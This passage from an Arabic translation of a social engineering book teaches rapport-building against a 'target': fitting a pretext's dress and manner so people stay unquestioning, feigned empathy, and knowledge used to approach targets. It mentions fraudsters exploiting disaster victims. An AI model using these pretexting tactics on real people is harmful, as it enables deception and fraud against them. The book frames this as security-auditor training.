‫ﻛون ﻋﻠﻰ ﺑﯾﻧﺔ ﻣن اﻟذرﯾﻌﺔ اﻟﺧﺎﺻﺔ ﺑك وھدﻓك‪ .‬إذا ﻛﺎﻧت اﻟذرﯾﻌﺔ اﻟﺧﺎص ﺑك ھو ﺣﺎرس‪ ،‬ﺗﺄﻛد أن ﻟدﯾك اﻟﺳﻠوك‪ ،‬اﻟﻠﺑﺎس‪ ،‬اﻟﻣوﻗف‪ ،‬واﻟﻛﻠﻣﺎت‬
‫اﻟﺗﻲ ﺗﻌﻛس ﺷﺧص ﻣﺎ ﻓﻲ ھذا اﻟﻣوﻗف‪ .‬إذا ﻛﺎﻧت اﻟذرﯾﻌﺔ اﻟﺧﺎص ﺑك ھو ﻣدﯾر أﻋﻣﺎل ﺗﺟﺎرﯾﺔ‪ ،‬ﻓﺗﺄﻛد ﻣن اﻟﺗﺻرف واﻟﻠﺑﺎس اﻟﻣﻧﺎﺳب‪ .‬ﯾﺄﺧذ ھذا‬
‫ﺑﺣﺛﺎ ﻟﻛن ﻻ ﺷﻲء ﯾﻘﺗل ﻋﻼﻗﺔ أﺳﮭل ﻣن ﻋدم اﻟﺑﺣث ﻓﻲ ھذا اﻟﺟزء‪ .‬ھدﻓك ﻓﻲ ﺑﻌض اﻟﺣﺎﻻت ھو إﺑﻘﺎء اﻟﻧﺎس ﻓﻲ وﺿﻊ اﻟطﯾﺎر اﻵﻟﻲ واﻟﺗﻲ‬
‫ﺳﺗﺟﻌﻠﮭم ﻻ ﯾﻘدﻣون اﻷﺳﺋﻠﺔ اﻟﯾك‪ .‬اﻣﺗﻼك اﻟﻠﺑﺎس‪ ،‬اﻻﺳﺗﻣﺎﻟﺔ‪ ،‬أو اﻟﺳﻠوك اﻟﻐﯾر ﻣﻧﺎﺳب ﻟﻠذرﯾﻌﺔ اﻟﺗﻲ ﺗﻘوم ﺑﮭﺎ ﺗزﯾل اﻟﮭدف ﻣن ﺣﺎﻟﺔ اﻟطﯾﺎر اﻵﻟﻲ‬
‫وﺗﺿر ﺑﻣﻌظم ﻓرص اﻟﻧﺟﺎح‪.‬‬
‫ﻛﻦ ﻣﺴﺘﻤﻌﺎ ﺟﯿﺪا )‪(Be a Good Listener‬‬

‫راﺟﻊ اﻟﻣﻘطﻊ اﻟﺳﺎﺑﻖ ﻟﻣزﯾد ﻣن اﻟﺗﻔﺎﺻﯾل‪ .‬ﻻ ﯾﻣﻛن اﻟﻣﺑﺎﻟﻐﺔ ﻓﻲ أھﻣﯾﺔ اﻻﺳﺗﻣﺎع اﻟﺟﯾد‪ .‬ﺳواء ﻛﻧت ﺗﺣﺎول أن ﺻﻧﻊ ﺻداﻗﺎت أو اﺗﺧﺎذ ﺧطوة‬
‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﻓﺎن اﻻﺳﺗﻣﺎع ھو اﻟﻣﮭﺎرة اﻟﺗﻲ ﺗﺣﺗﺎج اﻟﻰ اﻹﺗﻘﺎن‪.‬‬
‫ﻛﻦ ﻋﻠﻰ ﻋﻠﻢ ﻓﻲ ﻛﯿﻔﯿﺔ اﻟﺘﺄﺛﯿﺮ ﻋﻠﻰ اﻟﻨﺎس )‪(Be Aware of How You Affect People‬‬

‫ﻛن ﻋﻠﻰ ﺑﯾﻧﺔ ﻓﻲ ﻛﯾﻔﯾﺔ ﺗﺄﺛﯾر ﻣظﮭرك وﺟواﻧﺑك اﻟﺷﺧﺻﯾﺔ اﻷﺧرى ﺗﻠك ﻋﻠﻰ ﻣن ﺳوف ﺗﻛون ﻋﻠﻰ اﺗﺻﺎل ﺑﮫ‪ .‬ھل ﺗﺣﺗﺎج إﻟﻰ ﻧﻌﻧﺎع اﻟﺗﻧﻔس؟‬
‫ﺗﺄﻛد ﻣن ﻋدم وﺟود اﻟطﻌﺎم ﻋﻠﻰ وﺟﮭك أو ﻓﻲ اﻷﺳﻧﺎن‪ .‬ﻣﺣﺎوﻟﺔ اﻟﺗﺄﻛد ﻣن أن ﻻ ﺷﻲء واﺿﺢ ﻧﺳﺑﯾﺎ ﻓﻲ اﻟﻣظﮭر اﻟﺷﺧﺻﻲ اﻟﺧﺎص ﺑك واﻟذي‬
‫ﻣن اﻟﻣﻣﻛن ان ﯾﺣول اﻟﺷﺧص اﻟذي ﺳوف ﺗﻛون ﻋﻠﻰ اﺗﺻﺎل ﺑﮫ اﻟﻰ اﺗﺟﺎه ﻏﯾر اﺗﺟﺎھك‪.‬‬
‫أﺳﺗﺎذ ﻋﻠم اﻟﻧﻔس ﻓﻲ ﺟﺎﻣﻌﺔ ﻛﺎﻟﯾﻔورﻧﯾﺎ )‪ (UCLA‬أﻟﺑرت ﻣﮭراﺑﯾﺎن ﻣﻌروف ﻓﻲ ﺗطوﯾره ‪ ،7-38-55 Rules‬واﻟﺗﻲ ﺗﻧص ﻋﻠﻰ أن‬
‫اﻹﺣﺻﺎءات ﺗﺷﯾر إﻟﻰ أن ‪ ٪7‬ﻓﻘط ﻣن اﻻﺗﺻﺎﻻت اﻟﻌﺎدﯾﺔ ھﻲ ﻋﺑﺎرة ﻋﻣﺎ ﻧﻘول‪ ،‬ﻓﻲ ﺣﯾن أن أﻛﺛر ﻣن ذﻟك ﺑﻛﺛﯾر ﺗﻛﻣن ﻓﻲ ﻟﻐﺔ اﻟﺟﺳد‬
‫واﻟﻧﻐﻣﺎت اﻟﺻوﺗﯾﺔ‪ .‬ﺣﺎول أن ﺗﻛون ﻋﻠﻰ ﺑﯾﻧﺔ ﻣن ﻧﻔﺳك‪ ،‬وﻟﻛن أﯾﺿﺎ ﻗم ﺑﺈﯾﻼء اھﺗﻣﺎم ﻟﻠﺛواﻧﻲ اﻟﻘﻠﯾﻠﺔ اﻻوﻟﻰ ﺑﺎﻟﺗﻔﺎﻋل ﻣﻊ اﻟﻣﺳﺗﺧدم‪ .‬ﺣﯾث أن رد‬
‫اﻟﻔﻌل ﻋﻠﻰ ﻧﮭﺟك ﯾﻣﻛن أن ﯾﻘول ﻟك إﻧﮫ رﺑﻣﺎ ﻏﺎب ﻋﻧك ﺷﻲء ﻣﺎ‪ ،‬أو ﻣﺎ إذا ﻛﻧت ﺑﺣﺎﺟﺔ إﻟﻰ ﺗﻐﯾﯾر ﺷﻲء ﻟﺗﻛون أﻛﺛر ﻓﻌﺎﻟﯾﺔ‪.‬‬
‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ ،‬ﻛن ﻋﻠﻰ ﻋﻠم ﻓﻲ ﻛﯾﻔﯾﺔ ﺗﺄﺛﯾرك ﻋﻠﻰ اﻟﻧﺎس‪ .‬إذا ﻛﺎن اﻟﮭدف اﻟﻧﮭﺎﺋﻲ اﻟﺧﺎص ﺑك ھو ﻛل ﻣﺎ ھو ﻓﻲ ﻋﻘﻠك ﻓﺈﻧك ﺳوف ﺗؤﺛر‬
‫ﻋﻠﻰ اﻟﻧﺎس اﻟﺗﻲ ﺗﺗﺻل ﺑﮭم ﺳﻠﺑﯾﺎ‪ .‬ﻓﻛر ﻓﻲ ﻛﯾﻔﯾﺔ ﻛون ﻣظﮭرك ﻛﻠﻣﺎﺗك وﻟﻐﺔ ﺟﺳدك أﻧﮭﺎ ﻗد ﺗؤﺛر ﻓﯾﻣﺎ ﺗﺳﺗﮭدﻓﮫ‪.‬‬
‫ﺗﺬﻛﺮ أن اﻟﺘﻌﺎطﻒ ھﻮ ﻣﻔﺘﺎح اﻟﻌﻼﻗﺔ )‪(Remember That Empathy Is Key to Rapport‬‬
‫اﻟﺗﻌﺎطف ﺗم ﺗﻌرﯾﻔﮫ ﺑواﺳطﺔ راﻧدوم ھﺎوس ﻗﺎﻣوس ﻋﻠﻰ أﻧﮫ "ﺗﺣدﯾد اﻟﻔﻛر ﻣﻊ أو ﺑدﯾل ﻋن اﻟﺧﺑرة ﺑﺎﻟﻣﺷﺎﻋر‪ ،‬أﻓﻛﺎر‪ ،‬أو ﻣواﻗف أﺧرى" ﺗﻔﺗﻘر‬
‫ﻓﻲ ﻛﺛﯾر ﻣن اﻟﻧﺎس اﻟﯾوم وﺧﺻوﺻﺎ ﯾﺻﻌب أن ﺗﺷﻌر إذا ﻛﻧت ﺗﻌﺗﻘد أن ﻟدﯾك ﺣل ﻟﻣﺷﻛﻠﺔ ﺷﺧص ﻣﺎ‪ .‬وﻣﻊ ذﻟك‪ ،‬اﻻﺳﺗﻣﺎع ﺣﻘﺎ ﻟﺷﺧص ﻣﺎ ﻓﯾﻣﺎ‬
‫ﯾﻘوﻟﮫ‪ ،‬ﻓﻲ ﻣﺣﺎوﻟﺔ ﻟﺗﺣدﯾد وﻓﮭم اﻟﻣﺷﺎﻋر اﻟﻛﺎﻣﻧﺔ‪ ،‬وﻣن ﺛم اﺳﺗﺧدام ﻣﮭﺎرات اﻟﺗﻔﻛﯾر ﯾﻣﻛن أن ﯾﺟﻌل اﻟﺷﺧص ﯾﺷﻌر ﻛﻣﺎ ﻟو ﻛﻧت ﺣﻘﺎ ﻓﻲ ﺗﻧﺎﻏم‬
‫ﻣﻌﮫ‪.‬‬
‫ﺷﻌرت أﻧﮫ ﻣن اﻟﺿروري ﺗﻘدﯾم ﺗﻌرﯾف اﻟﺗﻌﺎطف ﻻن ﻓﮭم ﻣﺎ ﻋﻠﯾك اﻟﻘﯾﺎم ﺑﮫ ھو اﻟﻣﮭم‪ .‬ﻻﺣظ أﻧﮫ ﯾﺟب "ﺗﺣدﯾد اﻟﻔﻛر" ﻣﻊ وﺛم ﺗﺟرﺑﺔ‬
‫"اﻟﻣﺷﺎﻋر‪ ،‬واﻷﻓﻛﺎر‪ ،‬أو اﻟﻣواﻗف" ﻣن ﺷﺧص آﺧر‪.‬‬
‫ھذه ﻟﯾﺳت داﺋﻣﺎ ﺧطﯾرة‪ ،‬ﻣوﺣﺷﺔ‪ ،‬أو ﻋواطف ﻣﺗطرﻓﺔ‪ .‬ﺣﺗﻰ ﻓﮭم ﻟﻣﺎذا ﺷﺧص ﻣﺎ ﻏﺎﺿب‪ ،‬ﺗﻌب‪ ،‬أو ﻟﯾس ﻓﻲ أﻓﺿل ﻣزاج ﯾﻣﻛن أن ﺗﻘطﻊ‬
‫ﺷوطﺎ طوﯾﻼ‪ .‬ﺗﺧﯾل أﻧك ذھب إﻟﻰ اﻟﺑﻧك واﻟﺻراف ﯾﻣﻧﺣك ﻣوﻗف اﻟوﺣش ﻷﻧك ﻧﺳﯾت ﺗوﻗﯾﻊ اﻟﺷﯾك وإﻧﮭﺎ ﻟدﯾﮭﺎ اﻵن إرﺳﺎﻟﮫ ﻣرة أﺧرى‪ .‬أﻧت‬
‫أﯾﺿﺎ ﻧﺳﯾت اﻟﻘﻠم وﺗﺣﺗﺎج أن ﺗﺳﺄﻟﮭﺎ ﻋن ﻣﺻﻠﺣﺔ آﺧري‪ .‬ﻗد ﯾﻛون رد ﻓﻌﻠك ﻣﺷﺎﺑﮭﺔ ﻹزاﻟﺔ اﻷﻟﻐﺎم‪ ،‬وﺧﺎﺻﺔ إذا أﻋطﺗك ﻟﻔﺔ اﻟﻌﯾن واﻟﻧظرة‬
‫اﻟﻣﻠﺗﮭﺑﺔ )ﻧظرة اﻟﻐﺿب( ﺣﯾث ﺗرﯾد أن ﺗﻘول ﻟﮫ أﻧك ھﻧﺎ ﻓﻲ ﺧدﻣﺗﮫ‪ .‬ﺑدﻻ ﻣن ذﻟك‪ ،‬ﺣﺎول ﻗول ھذا‪" :‬ﯾﺑدو ﻋﻠﯾك ﺑﻌض اﻟﻐﺿب‪ .‬أﻧﺎ أﻓﮭم ذﻟك؛‬
‫ﺣﯾث إﻧﻧﻲ ذات ﻣره ﺷﻌرت ﺑﺎﻟﻐﺿب ﻋﻧدﻣﺎ ﺗﻌﺎﻣﻠت ﻣﻊ ﻣوﻛﻠﻲ وﻛﺎن داﺋم اﻟﻧﺳﯾﺎن أﯾﺿﺎ‪ .‬أﻧﺎ أﻛره أن أﺳﺄل ھذا‪ ،‬وﻟﻛن ھل ﯾﻣﻛﻧﻧﻲ اﻟﺣﺻول‬
‫ﻋﻠﻰ اﻟﻘﻠم؟"‬
‫ﻣن اﻟﻣﮭم أﻻ ﺗﻛون ﻣﺗﻌﺎﻟﻲ ﻋﻧد ﻣﺣﺎوﻟﺔ إظﮭﺎر اﻟﺗﻌﺎطف‪ .‬ﺣﯾث إذا ﺑدا ﺗﻌﺎطﻔك ﻣﺗﻌﺟرﻓﺎ أو ﻣﺗﻐطرﺳﺎ‪ ،‬ﻓﮭذا ﯾﻣﻛﻧﮫ أن ﯾﺟﻌل ھدﻓك ﯾﺷﻌر وﻛﺄﻧك‬
‫ﻣﺗﻌﺎﻟﻲ ﻋﻠﯾﮫ‪ .‬أﻧت ھﻧﺎ اﻋﺗرﻓت ﻟﮭﺎ ﺑﺎﻧﮭﺎ ﺗﺷﻌر ﺑﺎﻟﺿﯾﻖ واﻻﻧزﻋﺎج وﻟﻛن ﻣن دون اﺗﮭﺎم‪ ،‬وأظﮭرت أن ﻟدﯾك ﻧﻔس اﻟﻣﺷﺎﻋر‪ ،‬وﻣن ﺛم ﻗدﻣت‬
‫طﻠب‪ .‬اﻟﺗﻌﺎطف ﯾﻣﻛن أن ﺗﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻧﺣو ﺑﻧﺎء اﻟﻌﻼﻗﺔ‪.‬‬
‫ﺗﺣذﯾر واﺣد ھو أن اﻟﻌﻼﻗﺔ ﻻ ﯾﻣﻛن أن ﺗﻛون ﻣزورة‪ .‬ﯾﺣﺗﺎج اﻟﻧﺎس إﻟﻰ اﻟﺷﻌور ﺑﺎﻧك ﺣﻘﺎ ﻣﮭﺗم ﺑﺑﻧﺎء ﻋﻼﻗﺔ ﺻﺎدﻗﮫ ﻣﻌﮭم‪ .‬إذا ﻟم ﺗﻛن طﺑﯾﻌﯾﺎ‬
‫ﻓﻲ ﻋرض اﻟﺗﻌﺎطف‪ ،‬ﻓﺣﺎول اﻟﻣﻣﺎرﺳﺔ‪ .‬اﻟﻣﻣﺎرﺳﺔ ﻣﻊ ﻋﺎﺋﻠﺗك‪ ،‬اﻷﺻدﻗﺎء‪ ،‬زﻣﻼء اﻟﻌﻣل‪ ،‬اﻟﻣﻌﻠﻣﯾن‪ ،‬أو زﻣﻼء اﻟدراﺳﺔ‪ .‬وﻟﻛن أﯾﻧﻣﺎ ﻛﻧت ﺗﻔﻌل‬
‫ذﻟك‪ ،‬ﻓﻣﻣﺎرﺳﺔ ﻛوﻧك ﺗﻌﺎطﻔﻲ ﺳوف ﺗﺣﺳن ﻛﺛﯾرا ﻣن ﻣﮭﺎرات ﺑﻧﺎء اﻟﻌﻼﻗﺎت اﻟﺧﺎﺻﺔ ﺑك‪.‬‬
‫اﻟﺗﻌﺎطف )‪ (empathy‬ھو أداة اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬ﻟﻸﺳف‪ ،‬إﻧﮭﺎ ﺗﺳﺗﺧدم ﻏﺎﻟﺑﺎ ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺿﺎرة‪/‬اﻟﺧﺑﯾﺛﺔ‪ .‬ﻋﻧدﻣﺎ ﺗﺿرب‬
‫ﻛﺎرﺛﺔ ﻣﺎ ﻓﻲ ﻣﻛﺎن ﻣﺎ ﻓﻲ اﻟﻌﺎﻟم ﻓﺎﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺧﺑﯾث ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺳﺗﺧدم اﻟﺗﻌﺎطف ھﻧﺎك‪ .‬اﻟﺷﻲء اﻟذي رﺑﻣﺎ ﺟﻌل ھذه اﻷداة ﻣن اﻟﺳﮭل‬
‫ﺟدا ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺧﺑﯾث اﺳﺗﺧداﻣﮭﺎ ﻓﻲ ﻛﺛﯾر ﻣن اﻟﺣﺎﻻت ھو ﻷﻧﮭﺎ ﺣﻘﺎ ﻗﺎﺋﻣﮫ ﻋﻠﻰ اﻷﻣﺎﻛن اﻟﺳﯾﺋﺔ‪ ،‬اﻟﻔﻘر‪ ،‬أو اﻟﺟوع‪ .‬ﺣﯾث ﺗﺟري ﻓﻲ‬
‫ﻣﺿﯾﻖ ﺳﯾﺊ ﻓﻲ أﻧﻔﺳﻧﺎ ﻣﻣﺎ ﯾﺟﻌل ظﮭور اﻟﺗﻌﺎطف ﻟﻣﺣﻧﺔ اﻵﺧرﯾن ﻓﯾﺎل ﺣﯾﺎة ﺳﮭﻠﺔ‪ ،‬وﺑﺎﻟﺗﺎﻟﻲ ﯾﺧﻠﻖ اﻟﻌﻼﻗﺔ )‪ (rapport‬ﺗﻠﻘﺎﺋﯾﺎ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪891‬‬

‫ﻻ ﺷﻲء ﯾﺑﻧﻲ اﻟﻌﻼﻗﺔ أﻛﺛر ﻣن ﻋﻧدﻣﺎ ﯾﺷﻌر اﻟﻧﺎس ﻣﺛﻠك "اﻟﺣﺻول ﻋﻠﯾﮭﺎ"‪ .‬ﺣﯾث ﺛﺑت أن ھذا ﺻﺣﯾﺢ ﺟدا ﻋﻧدﻣﺎ ﯾﻛون ﺷﺧص ﻣﺎ ﺿﺣﯾﺔ‬
‫ﻛﺎرﺛﺔ‪ .‬اﻧﮭﺎ ﻓﻛرة ﻣﺧﯾﻔﺔ‪ ،‬ﻟﻛن أوﻟﺋك اﻟذﯾن ﻛﺎﻧوا ﺿﺣﺎﯾﺎ اﻻﻋﺗداء واﻟﺟرﯾﻣﺔ واﻻﻏﺗﺻﺎب واﻟﻛوارث اﻟطﺑﯾﻌﯾﺔ واﻟﺣروب‪ ،‬أو ﻏﯾرھﺎ ﻣن اﻷﻋﻣﺎل‬
‫اﻟوﺣﺷﯾﺔ ﻋﻠﻰ اﻷرض ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﯾﻣﻛن أن "ﯾﻔﮭم" ﻣﺷﺎﻋر أوﻟﺋك اﻟذﯾن ﯾﻌﺎﻧون ﻣﻧﮭﺎ‪ .‬وھذا ﯾﻔﺗﺢ اﻟﻰ وﻗوع اﻟﺿﺣﺎﯾﺎ ﺑﺎﻟﺛﻘﺔ ﻓﻲ ﻧوع‬
‫ﺧﺎطﺊ ﻣن اﻟﻧﺎس إذا ﺑﻧﯾت اﻟﻌﻼﻗﺔ‪.‬‬
‫ﻛﻣﺎ ذﻛر ﻣن ﻗﺑل‪ ،‬ﻋﻧدﻣﺎ وﻗﻌت ھﺟﻣﺎت ‪ 9/11‬ﻓﻲ ﻣدﯾﻧﺔ ﻧﯾوﯾورك‪ ،‬وادﻋﻰ ﻛﺛﯾر ﻣن اﻟﻧﺎس أﻧﮭم ﻓﻘدوا ﻋﺎﺋﻼﺗﮭم أو أﺻدﻗﺎﺋﮭم ﻓﻲ ھﺟﻣﺎت‬
‫إرھﺎﺑﯾﺔ‪ .‬اﻟﺗﻲ ﺟﻌﻠت اﻟﻧﺎس ﯾﺗﻌﺎطﻔون‪ ،‬وﺑﺎﻟﺗﺎﻟﻲ أﻋطﯾت ھؤﻻء "اﻟﺿﺣﺎﯾﺎ" اﻟﻣﺎل‪ ،‬واﻟﺷﮭرة‪ ،‬أو أﯾﺎ ﻣﺎ ﻛﺎن ﯾﺳﻌون اﻟﯾﮫ‪.‬‬
‫ﻛﻣدﻗﻖ ھﻧدﺳﺔ اﺟﺗﻣﺎﻋﯾﺔ )‪ ،(social engineering auditor‬ﯾﺟب أن ﺗﻛون ﻗﺎدرا ﻋﻠﻰ أن ﯾﻛون ﻟدﯾك ﻣﺟﻣوﻋﺔ واﺳﻌﺔ ﻣن اﻟﻣﺷﺎﻋر اﻟﺗﻲ‬
‫ﯾﻣﻛﻧك اﻻﺳﺗﻔﺎدة ﺑﮭﺎ‪ .‬ﻋﻧدﻣﺎ ﺗﻛون ﻣﻐﻠﻘﺎ ﻓﻲ اﻟﻌواطف ﯾﺟﻌل ﻣن اﻟﺻﻌب ﺟدا أن ﺗﻛون ﻣﺗﻌﺎطﻔﺎ‪ .‬ھذه اﻟﻧﻘطﺔ ﺗﺳﯾر ﺟﻧﺑﺎ إﻟﻰ ﺟﻧب ﻣﻊ ﯾﺣﺑﮫ‬
‫اﻟﻧﺎس ﻓﻌﻼ‪ .‬إذا ﻗﻣت ﺑذﻟك‪ ،‬ﺳوف ﻻ ﯾﻛون ﻟدﯾك ﺻﻌوﺑﺔ ﻓﻲ اﻟﺗﻌرف ﻋﻠﯾﮭم وﻗﺻﺻﮭم واﻟﺗﻌﺎطف ﻣﻌﮭم‪.‬‬
‫ﻛﻦ ﺟﯿﺪا ﻓﻲ ﺗﺪوﯾﺮ ﻣﻌﻠﻮﻣﺎﺗﻚ اﻟﻌﺎﻣﺔ )‪(Be Well Rounded in Your General Knowledge‬‬

‫اﻟﻣﻌرﻓﺔ ﻗوة‪ .‬إذا ﻟم ﯾﻛن ﻟدﯾك ﻣﻌرﻓﺔ ﻛل ﺷﻲء ﻋن ﻛل ﺷﻲء‪ ،‬وﻟﻛن وﺟود ﺑﻌض اﻟﻣﻌرﻓﺔ ﺣول ﺑﻌض اﻷﻣور ھو ﻓﻛرة ﺟﯾدة‪ .‬ﯾﺟﻌﻠﮭﺎ ﻣﺛﯾرة‬
‫ﻟﻼھﺗﻣﺎم وﯾﻌطﻲ ﻟك ﺷﯾﺋﺎ ﻓﻲ ﻗﺎﻋدة اﻟﻣﺣﺎدﺛﺔ‪.‬‬
‫اﻟﻣﻌرﻓﺔ ﻗوة‪ .‬ﺷﻌﺎر اﻟﻘراﺻﻧﺔ اﻟﻘدﯾم ﯾﻌود ﻟك ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ .‬ﯾﻧﺑﻐﻲ ﻋﻠﻰ ﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ أن ﯾﻛون ﻗﺎرئ ودارس‪ .‬ﺣﯾث إذا ﻣﻸت‬
‫رأﺳك ﺑﺎﻟﻣﻌرﻓﺔ ﺳﯾﻛون ﻟدﯾك ﺷﻲء ﻟﻠﺣدﯾث ﻋﻧﮫ ﻋﻧد اﻻﻗﺗراب ﻣن اﻟﮭدف‪ .‬ﻻ ﺗﮭﻣل اﻟﻘراءة‪ ،‬اﻟﺑﺣث‪ ،‬واﻟدراﺳﺔ ﻋن اﻟﻣواﺿﯾﻊ اﻟﺗﻲ ﺗﺣﺗل‬
‫اھﺗﻣﺎﻣﺎت اﻟﮭدف أو ھواﯾﺎت اﻟﮭدف‪ .‬ھدﻓك ﻟﯾس أن ﯾﻛون "ﻣﻌرﻓﺔ ﻛل ﺷﻲء"‪ ،‬وﺗﺻﺑﺢ ﺧﺑﯾرا ﻓﻲ ﻛل ﻣوﺿوع‪ ،‬وإﻧﻣﺎ ﻟدﯾك ﻣﺎ ﯾﻛﻔﻲ ﻣن‬
‫اﻟﻣﻌرﻓﺔ اﻟﺗﻲ ﻟم ﺗﻌد ﺗﻧظر إﻟﻰ اﻟﮭدف ﻣﻊ اﻟﺗﺣدﯾﻖ ﻋﻧدﻣﺎ ﯾﺳﺄل‪" :‬ھل وﺿﻊ ﻣوﺻل ‪ RJ-45‬ﻣﻌك ﻹﺻﻼح ﻣﺷﻛﻼت اﺗﺻﺎل اﻟﺷﺑﻛﺔ ﻟﻠﻣﻠﻘم؟ "‪.‬‬
‫ﺗﻄﻮﯾﺮ اﻟﺠﺎﻧﺐ اﻟﻔﻀﻮﻟﻲ ﻟﺪﯾﻚ )‪(Develop Your Curious Side‬‬

‫اﻟﻧﺎس ﯾﺷﻌرون ﻋﺎدة ﺑﻘﻠﯾل ﻣن اﻻﻋﺗداد ﺑﺎﻟﻧﻔس‪/‬اﻟذات ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﻣﻌﺗﻘداﺗﮭم أو اﻷﻓﻛﺎر ﺣول طرﯾﻘﺔ اﻷﻣور اﻟﺗﻲ ﯾﻧﺑﻐﻲ اﻟﻘﯾﺎم ﺑﮭﺎ‪ .‬أن‬
‫اﻻﻋﺗداد ﺑﺎﻟﻧﻔس‪/‬اﻟذات أو اﻟﻣوﻗف اﻟﺣﻛﻣﻲ ﯾﻣﻛن أن ﺗﻐﯾر اﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾﺗﻔﺎﻋل ﺑﮭﺎ ﺷﺧص ﻣﺎ ﻣﻊ ﺷﻲء ﯾﺑدا ﺑﺎﻟﻘول‪ .‬ﺣﺗﻰ ﻟو ﻟم ﺗﻘل أي ﺷﻲء‬
‫وﻟﻛﻧك ﺗﺑدأ ﺑﺎﻟﺗﻔﻛﯾر ﺑﮫ‪ ،‬وھذا ﯾﻣﻛن أن ﯾظﮭر ﻓﻲ ﻟﻐﺔ اﻟﺟﺳم أو ﺗﻌﺎﺑﯾر اﻟوﺟﮫ‪ .‬ﻓﺑدﻻ ﻣن اﻻﻋﺗداد ﺑﺎﻟﻧﻔس‪/‬اﻟذات‪ ،‬طور اﻟﻔﺿول ﺣول ﻛﯾﻔﯾﺔ ﺗﻔﻛﯾر‬
‫اﻟﻧﺎس اﻵﺧرﯾن وﻗﯾﺎﻣﮭم ﺑﺎﻷﺷﯾﺎء‪ .‬اﻟﻣﺣﺎﻓظﺔ ﻋﻠﻰ اﻟﻔﺿول ﯾﻣﻛﻧﮭﺎ ان ﺗﻘﯾﯾك ﻣن إﺻدار أﺣﻛﺎم ﺳﯾﺋﺔ‪ .‬وھذا ﯾﻣﻛن ﺗطﺑﯾﻘﮭﺎ ﻣن ﺧﻼل ﻛوﻧﮫ‬
‫ﻣﺗواﺿﻌﺎ ﺑﻣﺎ ﯾﻛﻔﻲ ﻟطﻠب اﻟﻣﺳﺎﻋدة أو طﻠب اﻟﻣزﯾد ﻣن اﻟﻣﻌﻠوﻣﺎت‪ .‬ﯾﺟب ﻋﻠﯾك ان ﺗﻛون ﻣﻧﻔﺗﺢ اﻟﻌﻘل ﺑﻣﺎ ﻓﯾﮫ اﻟﻛﻔﺎﯾﺔ ﻟﻠﻧظر ﻓﻲ واﺳﺗﻌرض‬
‫اﻷﻓﻛﺎر اﻻﺧرﯾن ﺣول ﻣوﺿوع ﻣﺎ‪ ،‬ﺣﺗﻰ ﻟو ﻛﺎﻧت ﺗﻠك اﻷﻓﻛﺎر ﺗﺧﺗﻠف ﻋﻣﺎ ﻟدﯾﻛم‪.‬‬
‫اﻟﻔﺿول )‪ (Curiosity‬ﻻ ﯾﻘﺗل اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬ھذه اﻟﻧﻘطﺔ ﻻ ﺗﻐﯾر ﻛﺛﯾرا ﻣن وﺟﮭﺔ ﻧظر اﻟﻣﮭﻧدس ﻏﯾر اﺟﺗﻣﺎﻋﻲ‪ .‬ﻋﻧدﻣﺎ ﺗﺻﺑﺢ ﻓﺿوﻟﯾﺎ‬
‫ﺣول أﺳﺎﻟﯾب ﺣﯾﺎة اﻵﺧرﯾن واﻟﺛﻘﺎﻓﺎت واﻟﻠﻐﺎت ﻓﺣﯾﻧﮭﺎ ﺗﺑدأ ﻓﻲ ﻓﮭم ﻣﺎ ﯾﺣرك اﻟﻧﺎس‪ .‬ﻛوﻧك ﻓﺿوﻟﯾﺎ ﯾﺣﺎﻓظ ﻋﻠﯾك ﻣن ﻛوﻧك ﺻﺎرﻣﺎ وراﺳﺧﺎ ﻓﻲ‬
‫اﻷﺣﻛﺎم اﻟﺷﺧﺻﯾﺔ‪ .‬ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن ﻗد ﻻ ﺗﺗﻔﻖ ﻓﻲ ﺑﻌض اﻟﻣواﺿﯾﻊ واﻟﻣﻌﺗﻘدات‪ ،‬أو اﻹﺟراءات وﻟﻛن إذا ﻛﻧت ﺗﺳﺗطﯾﻊ أن ﺗﺑﻘﻰ ﻓﺿوﻟﯾﺎ‬
‫وﻏﯾر ﺣﻛﻣﻲ ﺑﻌد ذﻟك ﯾﻣﻛﻧك اﻻﻗﺗراب ﻣن اﻟﺷﺧص ﻣن ﺧﻼل ﻣﺣﺎوﻟﺔ ﻓﮭم ﻟﻣﺎذا ھو‪ ،‬ﯾﻌﻣل‪ ،‬أو ﯾﺻور ھذا ﺑطرﯾﻘﺔ ﻣﻌﯾﻧﺔ‪ ،‬ﺑدﻻ ﻣن اﻟﺣﻛم ﻋﻠﯾﮫ‪.‬‬
‫اﻟﺒﺤﺚ ﻋﻦ طﺮق ﻟﺘﻠﺒﯿﺔ اﺣﺘﯿﺎﺟﺎت اﻟﻨﺎس )‪(Find Ways to Meet People’s Needs‬‬

‫ھذه اﻟﻧﻘطﺔ ھﻲ ﻗﻣﺔ اﻟﻘﺎﺋﻣﺔ وھﻲ واﺣدة ﻣن اﻟﻧﻘﺎط اﻷﻛﺛر ﻧﻔوذا ﻓﻲ ھذا اﻟﻛﺗﺎب‪ .‬اﻟدﻛﺗور وﻟﯾﺎم ﺟﻼﺳر ﻛﺗب ﻛﺗﺎﺑﺎ ﺑﻌﻧوان ﻧظرﯾﺔ اﻻﺧﺗﯾﺎر‬
‫)‪ (Choice Theory‬واﻟذي ﺣددت أرﺑﻌﺔ ﻣن اﻟﺣﺎﺟﺎت اﻟﻧﻔﺳﯾﺔ اﻷﺳﺎﺳﯾﺔ ﻟﻺﻧﺳﺎن‪:‬‬
